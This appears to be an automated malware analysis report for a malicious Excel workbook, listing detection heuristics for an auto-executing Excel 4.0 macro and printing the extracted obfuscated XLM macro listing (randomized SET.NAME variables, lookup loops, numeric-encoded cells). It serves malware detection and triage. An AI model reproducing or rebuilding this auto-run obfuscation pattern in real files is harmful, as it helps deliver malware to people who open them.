Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6e60e202256bac58…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:43:55 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 66cfa6ca671d0fc0912d25664a69ffbd SHA-1: cbde3b9aa17503d4dd2afd88398af992a85d54ec SHA-256: 6e60e202256bac58c2db8733c8ebac471d659aa97d08c50488bed9e08dd95d86
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6693 bytes
SHA-256: 20f7861c2dc8f2bb19a98ae75b8b8eed4f3cb3802518e5b5e940d6a1d26bb8c5
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  MHzGs
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A135 
' 0018     20 LABEL : Cell Value, String Constant - cXEdh len=0 
' 0018     26 LABEL : Cell Value, String Constant - DrdLrMWnGnp len=0 
' 0018     23 LABEL : Cell Value, String Constant - fKEqyHtq len=0 
' 0018     26 LABEL : Cell Value, String Constant - GusZzoyrhQA len=0 
' 0018     21 LABEL : Cell Value, String Constant - hXnuGu len=0 
' 0018     23 LABEL : Cell Value, String Constant - KaBAfelH len=0 
' 0018     27 LABEL : Cell Value, String Constant - LesEPYOuPTMG len=0 
' 0018     26 LABEL : Cell Value, String Constant - mhjHmIXKjEh len=0 
' 0018     26 LABEL : Cell Value, String Constant - mtwxQEItLlP len=0 
' 0018     23 LABEL : Cell Value, String Constant - oQqtizpU len=0 
' 0018     20 LABEL : Cell Value, String Constant - QEOjq len=0 
' 0018     24 LABEL : Cell Value, String Constant - QkqUSOtGJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - qsZDgdPHdC len=0 
' 0018     24 LABEL : Cell Value, String Constant - qyNeSACLh len=0 
' 0018     21 LABEL : Cell Value, String Constant - ROVSos len=0 
' 0018     22 LABEL : Cell Value, String Constant - rzdTycA len=0 
' 0018     20 LABEL : Cell Value, String Constant - sdyeH len=0 
' 0018     23 LABEL : Cell Value, String Constant - vSwIlISm len=0 
' 0018     21 LABEL : Cell Value, String Constant - wAXuka len=0 
' 0018     27 LABEL : Cell Value, String Constant - XpiHQktUxtIj len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  MHzGs,A45,"SET.NAME("LesEPYOuPTMG",0+VALUE("0"))",""
'  MHzGs,A49,"SET.NAME("mtwxQEItLlP",LesEPYOuPTMG)",""
'  MHzGs,A53,"SET.NAME("fKEqyHtq",LesEPYOuPTMG)",""
'  MHzGs,A57,"SET.NAME("QkqUSOtGJ",COUNTA(qsZDgdPHdC))",""
'  MHzGs,A60,"SET.NAME("GusZzoyrhQA",COUNTA(mhjHmIXKjEh))",""
'  MHzGs,A62,[],""
'  MHzGs,A66,"SET.NAME("hXnuGu","")",""
'  MHzGs,A69,"mtwxQEItLlP",""
'  MHzGs,A71,"SET.NAME("ROVSos",HLOOKUP("*",qsZDgdPHdC,mtwxQEItLlP,FALSE))",""
'  MHzGs,A76,"vSwIlISm",""
'  MHzGs,A79,"SET.NAME("wAXuka",LesEPYOuPTMG)",""
'  MHzGs,Q81,"",-102.00000000000000000000
'  MHzGs,Q82,"",74.00000000000000000000
'  MHzGs,A83,[],""
'  MHzGs,Q83,"",-316.00000000000000000000
'  MHzGs,Q84,"",456.00000000000000000000
'  MHzGs,Q85,"",74.00000000000000000000
'  MHzGs,A86,"wAXuka",""
'  MHzGs,Q86,"",739.00000000000000000000
'  MHzGs,A89,"sdyeH",""
'  MHzGs,A92,"QEOjq",""
'  MHzGs,A94,"rzdTycA",""
'  MHzGs,A99,"SET.NAME("qyNeSACLh",VALUE(HLOOKUP("*",mhjHmIXKjEh,rzdTycA,FALSE)))",""
'  MHzGs,A102,"DrdLrMWnGnp",""
'  MHzGs,A105,"hXnuGu",""
'  MHzGs,A107,"fKEqyHtq",""
'  MHzGs,A112,NEXT(),""
'  MHzGs,A116,"cXEdh",""
'  MHzGs,A118,[],""
'  MHzGs,A122,"oQqtizpU",""
'  MHzGs,A126,NEXT(),""
'  MHzGs,A131,RETURN(),""
'  MHzGs,A156,"SET.NAME("XpiHQktUxtIj",A45)",""
'  MHzGs,A161,"qsZDgdPHdC",""
'  MHzGs,A165,"SET.NAME("mhjHmIXKjEh",R51C12)",""
'  MHzGs,A170,"SET.NAME("oQqtizpU",175)",""
'  MHzGs,A172,"SET.NAME("KaBAfelH",1)",""
'  MHzGs,A174,XpiHQktUxtIj(),""
'  MHzGs,A175,HALT(),""

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